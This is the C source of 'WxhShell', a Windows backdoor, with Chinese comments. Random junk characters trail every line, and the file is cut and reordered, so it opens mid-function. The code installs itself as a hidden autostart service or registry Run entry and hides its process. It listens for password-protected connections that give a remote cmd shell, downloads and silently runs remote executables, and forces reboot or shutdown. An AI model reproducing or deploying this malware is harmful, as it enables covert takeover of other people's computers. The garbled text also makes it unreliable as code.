    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GnaV I  
    if(Boot(SHUTDOWN)) *)D*iU&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kP@OIhRe  
    else { !I/kz }N@  
    closesocket(wsh); v>!}cB/6  
    ExitThread(0); ClZyQ=UAD  
    } 'oL[rO~j  
    break; Li^!OHro.  
    } c6)zx b  
  // 获取shell kxwm08/|f  
  case 's': { 97dI4 t<  
    CmdShell(wsh); <F & hfy  
    closesocket(wsh); 'B6H/d>  
    ExitThread(0); bQjHQ"G  
    break; 3*JybMo"  
  } qW>J-,61/  
  // 退出 #[yl;1)  
  case 'x': { &>fd:16  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e"/X*xA  
    CloseIt(wsh); rep"xV&|>o  
    break; w!7/;VJ3d  
    } dS=,. }  
  // 离开 |c/rHEZ  
  case 'q': { )d`$2D&iY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !P3|T\|]+  
    closesocket(wsh); M0 8Y  
    WSACleanup(); oU?X"B9  
    exit(1); IpmREl $j  
    break; h8Si,W 3o  
        } >GUTno$J  
  } >@uYleD(  
  } "iGc'?/+  
-h`0v  
  // 提示信息 .&.CbE8K[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >E=a~ O  
} )D*xOajo+l  
  } h--bN*}H2  
HI 61rXNF  
  return; 7HFO-r118  
} 0eP~F2<bC  
uu.Nq*3  
// shell模块句柄 e)"cm;BJ^P  
int CmdShell(SOCKET sock) Lr:K0A.Ch  
{ Bx >@HU  
STARTUPINFO si; Z Uv_u6aD  
ZeroMemory(&si,sizeof(si)); 6^Vf 5W{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M-|2W~YU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V=~dgy ~@  
PROCESS_INFORMATION ProcessInfo; rzLl M  
char cmdline[]="cmd"; E5Jk+6EcMa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y))sk-  
  return 0; vq:j?7  
} RA/yvr  
4*X$Jle|  
// 自身启动模式 .X1niguXH  
int StartFromService(void) X ii#Qtd.  
{ IA `  
typedef struct b@hoH)<9E  
{ /]&1XT?  
  DWORD ExitStatus; (p!AX<=z  
  DWORD PebBaseAddress; -<=< T@,  
  DWORD AffinityMask; wf1DvsJQl  
  DWORD BasePriority; Qpq0j^\  
  ULONG UniqueProcessId; {*9i}w|2  
  ULONG InheritedFromUniqueProcessId; ?]N&H90^5  
}   PROCESS_BASIC_INFORMATION; UUq9UV-h  
yr'`~[oSCy  
PROCNTQSIP NtQueryInformationProcess; kq-RM#Dj:  
E@KK\m \e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lUd,-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \-yi#N  
6I0MJpLW  
  HANDLE             hProcess; g*M3;G  
  PROCESS_BASIC_INFORMATION pbi; OQvJdjST  
n0q(EQy1U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  P_g  
  if(NULL == hInst ) return 0; M(f'qFY=K  
6}$cDk`dz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ' M!_k+e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xy +|D#b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3RUB2c4  
}.zn:e  
  if (!NtQueryInformationProcess) return 0; jtwO\6 t&  
5hMiCod  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )j'b7)W\  
  if(!hProcess) return 0; &IYkeGQr  
}I]q$3 .  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /([aD~.  
x;Q2/YZ#  
  CloseHandle(hProcess); uItKsu  
w5Xdq_e3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Uu"olX7  
if(hProcess==NULL) return 0; @gOgs  
RI=B(0 A  
HMODULE hMod; /xzL!~g`6<  
char procName[255]; &#l M$7/  
unsigned long cbNeeded; FCPbp!q6  
/2@@v|QL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); edQ><lz  
jG#sVK]  
  CloseHandle(hProcess); jg(A_V  
->(B: Cz  
if(strstr(procName,"services")) return 1; // 以服务启动 _G|6xlO  
Lsdu:+-  
  return 0; // 注册表启动 j>iM(8`t1  
} T5h[{J^  
=Sq7U^(>  
// 主模块 .B*)A.   
int StartWxhshell(LPSTR lpCmdLine) zl5S)/A  
{ 3^Y-P8.zdB  
  SOCKET wsl; $B2@mC([S  
BOOL val=TRUE; RZZB?vx  
  int port=0; <#-ERQw  
  struct sockaddr_in door; xjpW<-)MLf  
:>k\uW  
  if(wscfg.ws_autoins) Install(); NO1PGen  
sMx\WTyz  
port=atoi(lpCmdLine); XN@5TZoaW  
z$NLFJvy_-  
if(port<=0) port=wscfg.ws_port; >/*\x g&J  
;b^@o,=  
  WSADATA data; 7o<RvM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^&}Y>O,  
@WmB0cc_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~>n<b1}W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X {$gdz8S9  
  door.sin_family = AF_INET; `W9_LROD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fOJyY[  
  door.sin_port = htons(port); *uIHa"  
#?9o A4Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .1@5*xQ5O  
closesocket(wsl); @;0Ep 0[  
return 1; LM} si|  
} f}apn=  
"7g: u-  
  if(listen(wsl,2) == INVALID_SOCKET) { 7"NUof?i  
closesocket(wsl); G>Q{[m$  
return 1; p82qFzq#  
} 3Wiu`A  
  Wxhshell(wsl); o|+tRl  
  WSACleanup(); S%4 K-I  
i[<O@Rb  
return 0; .f}I$ "2  
}IV7dKzl  
} <1y%ch;  
C}!|K0t?  
// 以NT服务方式启动 *M="k 1P1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VbN]z:  
{ R:E`  
DWORD   status = 0; l$FHL2?Cp  
  DWORD   specificError = 0xfffffff; jkbz8.K  
Kl* ##qw!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aU3&=aN+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u*M*Wp Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~&pk</Dl  
  serviceStatus.dwWin32ExitCode     = 0; SbB5J> >7J  
  serviceStatus.dwServiceSpecificExitCode = 0; *}?^)z7w  
  serviceStatus.dwCheckPoint       = 0; R\<^A~(Gl  
  serviceStatus.dwWaitHint       = 0; R}0c O^V  
lY~xoHT;[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Z vG&  
  if (hServiceStatusHandle==0) return; +h =lAHn&  
A`@we  
status = GetLastError(); ^}WeBU  
  if (status!=NO_ERROR) Q/< $ (Y  
{ d.{RZq2cp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eC1cE  
    serviceStatus.dwCheckPoint       = 0; Q>.-u6(&  
    serviceStatus.dwWaitHint       = 0; (\Dd9a8V-  
    serviceStatus.dwWin32ExitCode     = status; <_NF  
    serviceStatus.dwServiceSpecificExitCode = specificError; $tb$gO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UZ<!(g.  
    return;  ~d }-  
  } F Hv|6zUX  
Abj`0\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [p]Ayo$~  
  serviceStatus.dwCheckPoint       = 0; MOj 0"x)  
  serviceStatus.dwWaitHint       = 0; 0s4%22  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HMBxj($eR  
} xbIxtZm  
Z!#zr@'k  
// 处理NT服务事件,比如:启动、停止 s|q B;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A}$A~g5 Ap  
{ \ Xuu|]  
switch(fdwControl) N^)L@6  
{ iX4/;2B=,  
case SERVICE_CONTROL_STOP: {dA#r>z\1  
  serviceStatus.dwWin32ExitCode = 0; Y2Tg>_:t   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qwnC{  
  serviceStatus.dwCheckPoint   = 0; JeiW z1t  
  serviceStatus.dwWaitHint     = 0; BM:je(*p  
  { pO"V9[p]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KSLyU1W  
  } rQ/S|gG  
  return; {+Eq{8m`  
case SERVICE_CONTROL_PAUSE: Z,ag5 w`]L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7XdLZ4ub  
  break; N2C^'dFj  
case SERVICE_CONTROL_CONTINUE: _w(SHWh2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p7 |~x@q+  
  break; VN*^pAzlF  
case SERVICE_CONTROL_INTERROGATE: G:f]z;Xdp  
  break; TC ^EyjD  
}; W| ~Ehg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .4U::j}  
} #VD[\#  
DUa`8cE}  
// 标准应用程序主函数 -p9|l%W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C7,Ol0`v  
{ /f_lWr:9l  
8j8FQ!M  
// 获取操作系统版本 EpS"NQEe  
OsIsNt=GetOsVer(); Ao 1*a%-.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y&B~UeB:q  
v2dCna\  
  // 从命令行安装 jiz"`,-},O  
  if(strpbrk(lpCmdLine,"iI")) Install(); v dyu=*Y  
*YYm;J'  
  // 下载执行文件 Q-(twh  
if(wscfg.ws_downexe) { Pr/K5aJeg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -cEjB%Neo  
  WinExec(wscfg.ws_filenam,SW_HIDE); )mJl-u[0+  
} 4mUQVzV  
YG<?|AS/  
if(!OsIsNt) { l[.RnM[v  
// 如果时win9x,隐藏进程并且设置为注册表启动 6wfCC,2  
HideProc(); &R>x;&Gj  
StartWxhshell(lpCmdLine); b=.Ikt+y  
} mM1\s>o  
else D.4=4"qMi  
  if(StartFromService()) #~ UG9@a  
  // 以服务方式启动 p-r}zc9@  
  StartServiceCtrlDispatcher(DispatchTable); 'ym/@h7h  
else G^5}T>TV  
  // 普通方式启动 z1_\P) M  
  StartWxhshell(lpCmdLine); BY72fy#e  
?< mSEgvu  
return 0; 79=w]y  
} @~xNax&^  
,J~kwJ$L  
u\.7#D>  
QVm3(;&'  
=========================================== jv?`9{-  
o"J}@nF  
_6(QbY'JV`  
D`2Iy.|!  
+m]$P,yMt  
.{*V^[.  
" mn)kd  
A#\NVN8sk  
#include <stdio.h> ZV$qv=X  
#include <string.h> |#Z:v1]"  
#include <windows.h> a$l  
#include <winsock2.h> 1zl6Rwk^o  
#include <winsvc.h> 4&2aJ_ 2 y  
#include <urlmon.h> AbC /  
C2<!.l  
#pragma comment (lib, "Ws2_32.lib") m\)z& hv<r  
#pragma comment (lib, "urlmon.lib") @YHB>rNf(7  
}1f@>'o  
#define MAX_USER   100 // 最大客户端连接数 a= +qR:wT  
#define BUF_SOCK   200 // sock buffer hS/oOeG<Y  
#define KEY_BUFF   255 // 输入 buffer ]'3e#Cqeh  
9s8B>(L  
#define REBOOT     0   // 重启 <b~KR8  
#define SHUTDOWN   1   // 关机 =X'i^Q  
 K!VIY|U  
#define DEF_PORT   5000 // 监听端口 u_[s+ J/  
I9-vV>:z  
#define REG_LEN     16   // 注册表键长度 }SR}ET&z  
#define SVC_LEN     80   // NT服务名长度 4W &HUQ?^  
q$(@  
// 从dll定义API `9}\kn-</8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P,^`|\#7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !/^i\)j>](  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B{^o}:e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?>SC:{(  
&=oW=g2  
// wxhshell配置信息 0!!b(X(  
struct WSCFG { 0wU8PZ Nj  
  int ws_port;         // 监听端口 ?4GI19j  
  char ws_passstr[REG_LEN]; // 口令 UT|FV twO  
  int ws_autoins;       // 安装标记, 1=yes 0=no }u8o*P|,  
  char ws_regname[REG_LEN]; // 注册表键名 _C$JO   
  char ws_svcname[REG_LEN]; // 服务名 tkx1iBW=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `OO=^.-u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c+|,q m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K<'L7>s3lA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E$"( :%'v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l3dGe'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 phr6@TI  
28>PmH]7  
}; qfE>N?/  
zY6{ OP!#  
// default Wxhshell configuration f|G,pDL x  
struct WSCFG wscfg={DEF_PORT, b37P[Q3  
    "xuhuanlingzhe", ij i<+oul  
    1, H-$)@  
    "Wxhshell", a=}JW]  
    "Wxhshell", +`4`OVE_#  
            "WxhShell Service", F[uy'~;@  
    "Wrsky Windows CmdShell Service", }GX[N\$N  
    "Please Input Your Password: ", -S5M>W.Qb{  
  1, M il ![A1  
  "http://www.wrsky.com/wxhshell.exe", vcTWe$;Q  
  "Wxhshell.exe" "X4L+]"$g  
    }; `vs= CYs  
04>dxw)8  
// 消息定义模块 6) {jHnk)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ma@3BiM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mGR}hsQpn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HPJ\]HV(  
char *msg_ws_ext="\n\rExit."; aN9#ATE  
char *msg_ws_end="\n\rQuit."; z'N_9=  
char *msg_ws_boot="\n\rReboot..."; E=!=4"rZF  
char *msg_ws_poff="\n\rShutdown..."; %H OMX{~}#  
char *msg_ws_down="\n\rSave to "; 'ap<]mf2  
NMq#D$T  
char *msg_ws_err="\n\rErr!"; C%P)_)- -V  
char *msg_ws_ok="\n\rOK!"; h#a;(F4_7  
P{2V@ <}  
char ExeFile[MAX_PATH]; v,z s dr"d  
int nUser = 0; $U=E7JO  
HANDLE handles[MAX_USER]; ^wesuW@=  
int OsIsNt; F&?55@b  
)wkh  
SERVICE_STATUS       serviceStatus; YNV!(>\GE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6f1%5&si  
HsrIw  
// 函数声明 ).aQ}G wx^  
int Install(void); 9$[I~I#z  
int Uninstall(void); +oKp>-  
int DownloadFile(char *sURL, SOCKET wsh); `CCuwe<v  
int Boot(int flag); a(}dF?M=  
void HideProc(void); yU* upQ  
int GetOsVer(void); _ 4:@+{  
int Wxhshell(SOCKET wsl); m# #( uSh  
void TalkWithClient(void *cs); _hP siZY9  
int CmdShell(SOCKET sock); jtqH3xfy  
int StartFromService(void); 4.]xK2sW  
int StartWxhshell(LPSTR lpCmdLine); gp07I{0~m  
,>"rcd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %ux%=@%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /*g9drwaa  
lZT9 SDtS  
// 数据结构和表定义 ~F5JN^5Y  
SERVICE_TABLE_ENTRY DispatchTable[] = l#7].-/  
{ 8#%Sq=/+M  
{wscfg.ws_svcname, NTServiceMain}, '[u=q -Lv  
{NULL, NULL} |$[WnYP  
}; Hx;ij?  
I5RV:e5b  
// 自我安装 3$Ecq|4J:  
int Install(void) ENu`@S='I3  
{ ?f1PQ  
  char svExeFile[MAX_PATH]; [hy:BV6H+  
  HKEY key;  y!6+jrI  
  strcpy(svExeFile,ExeFile); dc#Db~v}k  
=n $@  
// 如果是win9x系统,修改注册表设为自启动 eIVCg-l}  
if(!OsIsNt) { g=eYl_P6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @V$,H/v:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8o' a  
  RegCloseKey(key); .<`W2*1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )9_jr(s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JQVu&S  
  RegCloseKey(key); _ED,DM  
  return 0; +R7";.  
    } L||_Jsu  
  } d~L`*"/)[  
} SB5DL_q  
else { Lo, z7"8  
?3 :OPP`s  
// 如果是NT以上系统,安装为系统服务 z`gdE0@;d3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rCcNu  
if (schSCManager!=0) w)bLdQ  
{ `Pj7O/!)#!  
  SC_HANDLE schService = CreateService 6 bL+q`3>  
  ( F?j;3@z[A  
  schSCManager, u7|{~D&f  
  wscfg.ws_svcname, .y7&!a35  
  wscfg.ws_svcdisp, 5ug?'TOj'  
  SERVICE_ALL_ACCESS, />fP )56*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YxMOr\B  
  SERVICE_AUTO_START, j=v1:E  
  SERVICE_ERROR_NORMAL, fgFBOpG%Gq  
  svExeFile, ]2n&DJu  
  NULL, ld1t1'I'  
  NULL, ]pLQ;7f7D  
  NULL, :"ZH  
  NULL, TQ&%SMCn  
  NULL RVN"lDGA  
  ); )Q 8T`Tly  
  if (schService!=0) ]ABpOrg  
  { 3j.Ft*SV  
  CloseServiceHandle(schService); <i'4EnO  
  CloseServiceHandle(schSCManager); _>HX Q6Hw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,hK0F3?H>  
  strcat(svExeFile,wscfg.ws_svcname); :W5*fE(i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gy[;yLnX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oS)0,p  
  RegCloseKey(key); K5(?6hr;  
  return 0; |u)?h] >  
    } uF>I0J#z?  
  } (]0$^!YK  
  CloseServiceHandle(schSCManager); U{D ?1tF  
} '<f4POy!  
} XF2u<sDe  
Kp"mV=RG2T  
return 1; JGIN<J85e  
} \s;]Tg  
%" $.2O@  
// 自我卸载 f+0dwlIlC$  
int Uninstall(void) ?/"@WP9  
{ MoA2Cp;8X  
  HKEY key; r&"}zyL  
KtHh--j`  
if(!OsIsNt) { :c,\8n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U;Hu:q*  
  RegDeleteValue(key,wscfg.ws_regname); AW6]S*rh  
  RegCloseKey(key); }Evyfc#D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EA75 D&>I  
  RegDeleteValue(key,wscfg.ws_regname); E?&dZR  
  RegCloseKey(key); [7]p\' j  
  return 0; /exV6D r  
  } -]5dD VSO  
} e~J% NU'&  
} @Th.=  
else { 1*?IDYB  
t=S94 ^g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2U>1-p&dn  
if (schSCManager!=0) ? $pGG  
{ *P:`{ZV7=W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1SkGG0 W  
  if (schService!=0) .EH^1.|v  
  { JU<<,0  
  if(DeleteService(schService)!=0) { =0,")aa!  
  CloseServiceHandle(schService); 0"u*Kn  
  CloseServiceHandle(schSCManager); ?`\<t$M  
  return 0; xm~ff+(&@S  
  } n5UcivyX  
  CloseServiceHandle(schService); GfQMdLy\Z  
  } wias ]u|  
  CloseServiceHandle(schSCManager); Sijwh1j*V  
} <3HW!7Ad1  
} ]S,I}NP  
:@_CQc*yB  
return 1; L7n->8Qk  
} #zrD i  
Ew4DumI  
// 从指定url下载文件 fLc<}DF  
int DownloadFile(char *sURL, SOCKET wsh) z2!NBOv  
{ E3,Z(dpX!  
  HRESULT hr; XPUH\I=  
char seps[]= "/"; E_WiQ?p   
char *token; ,2H5CFX/  
char *file; j@UW[,UI  
char myURL[MAX_PATH]; rVQ:7\=Z  
char myFILE[MAX_PATH]; 'ycs{}'  
xkUsZ*X8B  
strcpy(myURL,sURL); ^fnRzX  
  token=strtok(myURL,seps); ?]kIztH  
  while(token!=NULL) M P0ww$(  
  { }}t"^ms  
    file=token; /;HytFP  
  token=strtok(NULL,seps); ]}>GUXe)^  
  } Fhxg^  
J[LGa:``  
GetCurrentDirectory(MAX_PATH,myFILE); s}|IRDpp  
strcat(myFILE, "\\"); .vQ2w  
strcat(myFILE, file); Z`b,0[rG[  
  send(wsh,myFILE,strlen(myFILE),0); (jY.S|%  
send(wsh,"...",3,0); + 6r@HK`,t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (O&~*7D*  
  if(hr==S_OK) XFK$p^qu  
return 0; *XtZ;os]  
else IA8kq =W  
return 1; )4GfT  
E6)FYz7x  
} Ku,Efr  
wZfR>|f  
// 系统电源模块 &lI.N~Ao  
int Boot(int flag) Qg9{<0{u  
{ ~Gwn||g78  
  HANDLE hToken; gvA&F |4  
  TOKEN_PRIVILEGES tkp; Htsa<t F  
(CZRX9TT1  
  if(OsIsNt) { lzS"NHs<g(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e5`{*g$i).  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A.WJ#1i}E  
    tkp.PrivilegeCount = 1; 1grrb&K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @gxO%@@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V3@^bc!   
if(flag==REBOOT) { i>)Whr'e8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D\* raQ`n  
  return 0; vNE91  
} / d6mlQS  
else { i7 p#%2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }b\d CGVr  
  return 0; ;'gzR C  
} q%>L/KJ#  
  } !7%L%~z^  
  else { k(VA5upCs  
if(flag==REBOOT) { zT_{M qY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -pqShDar|  
  return 0; 'Iu$4xo`[  
} xO?~@5  
else { *vBcT.|,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zI7-xqZ  
  return 0; 1/le%}mK  
} mi97$Cr2  
} (x.K%QC)  
 KsUsj3J  
return 1; %j^=  
} Atfon&^  
3$HFHUMQsk  
// win9x进程隐藏模块 ,T&B.'cq  
void HideProc(void) GueqpEd2  
{ I"@5=m5  
fWKv3S1dT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [eWB vAiW  
  if ( hKernel != NULL ) .`)ICX  
  { ||Lqx#e=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y\x!Be;6Z.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @9vz%1B<l  
    FreeLibrary(hKernel); +;cw<9%0  
  } Yj0Ss{Ep  
H3a}`3}U  
return; { Ja#pt  
}  d(v )SS  
 NsJUruN  
// 获取操作系统版本 !Rsx)  
int GetOsVer(void) )*s.AFu]7x  
{ vNJ!i\bX  
  OSVERSIONINFO winfo; hsfVKlw-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }GGFJ"  
  GetVersionEx(&winfo); G3?8GTH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u[d8)+VX  
  return 1; ]MB ^0:F-  
  else pazFVzT  
  return 0; y!aq}YS  
} 3s>& h-E  
.}CP Z3y  
// 客户端句柄模块 TSuHY0. cp  
int Wxhshell(SOCKET wsl) 1Z`<HW"  
{ ~Dkje  
  SOCKET wsh; \" .3x PkE  
  struct sockaddr_in client; yiI&>J))  
  DWORD myID; qvYw[D#.  
!T @|9PCp  
  while(nUser<MAX_USER) :5CwRg  
{ *AxKV5[H  
  int nSize=sizeof(client); \:" s*-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sf*VkH  
  if(wsh==INVALID_SOCKET) return 1; ,VHvQU  
im1]:kr7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c]xpp;%]  
if(handles[nUser]==0) KgKV(q=  
  closesocket(wsh); o'D6lkf0  
else 0V`/oaW;  
  nUser++; TH6g:YP`7  
  } KUuwScb\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k87B+0QEL  
-M[5K/[  
  return 0; k`TEA?RfQ  
} y l3iU:+V  
t0?BU~f  
// 关闭 socket  -JUv'fk  
void CloseIt(SOCKET wsh) 0]NsT0M  
{ UGR5ILf  
closesocket(wsh); b/S4b  
nUser--; ^M?uv{354  
ExitThread(0); 4Q3Q.(  
} YR[Ii?  
,L_p"A  
// 客户端请求句柄 e@X~F6nP  
void TalkWithClient(void *cs) |4-Ey! P  
{ v3aiX  
LW,!B.`@  
  SOCKET wsh=(SOCKET)cs; X\YeO> C  
  char pwd[SVC_LEN]; >xH3*0 Lp  
  char cmd[KEY_BUFF];  NU_VUd2  
char chr[1]; fh,Y#.V`  
int i,j; uYO?Rb&}  
LY^BkH'  
  while (nUser < MAX_USER) { "w_(p|cm=  
N*o+m~:y  
if(wscfg.ws_passstr) { u,'c:RMV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VSP[G ,J.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0e/~H^,SQ  
  //ZeroMemory(pwd,KEY_BUFF); R?]>8o,  
      i=0; g\6(ezUF*  
  while(i<SVC_LEN) { E2dSOZS:)%  
Q>z0?%B  
  // 设置超时 o]k[l ;  
  fd_set FdRead; U(i2j)|^I3  
  struct timeval TimeOut; ^(6.P)$  
  FD_ZERO(&FdRead); &os* @0h4  
  FD_SET(wsh,&FdRead); '9RHwKu&s  
  TimeOut.tv_sec=8; Rhr]ML  
  TimeOut.tv_usec=0; y6G[-?"/Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A}oR,$D-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cvc.-7IO  
_s=[z$EN&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LfK <%(:  
  pwd=chr[0]; "h)+fAT|,  
  if(chr[0]==0xd || chr[0]==0xa) { 2>s:wABb /  
  pwd=0; QMkLAZ  
  break; =P2T&Gb  
  } >r{,$)H0  
  i++; $R"~BZbt;  
    } a0.)zgWr  
1L^\TC  
  // 如果是非法用户,关闭 socket 9BHl 2<&V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); II[qWs>RG[  
} WI~';dK2]  
Q@l3XNH|c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7(wY4T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |n* I}w^  
4J_18.JHP  
while(1) { < v0 d8  
V_Y SYG9f  
  ZeroMemory(cmd,KEY_BUFF); q}+9$v  
K4oLb"gB1  
      // 自动支持客户端 telnet标准   6h;$^3x$  
  j=0; ;:' A{&0N  
  while(j<KEY_BUFF) { Is%-r.i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &o)j@5Y?  
  cmd[j]=chr[0]; +}*]9nG  
  if(chr[0]==0xa || chr[0]==0xd) { !9V_U  
  cmd[j]=0; x+^iEj`gk  
  break; D(L%fK`+  
  } &{l?j>|TM  
  j++; {wCQ#V  
    } LVO`+:  
Ue~M .LZb  
  // 下载文件 ]LNP"vi;  
  if(strstr(cmd,"http://")) { Z?1.Y7Npr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uvZ|6cM  
  if(DownloadFile(cmd,wsh)) lZ E x0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kM@8RAxA  
  else u9}=g%TV  
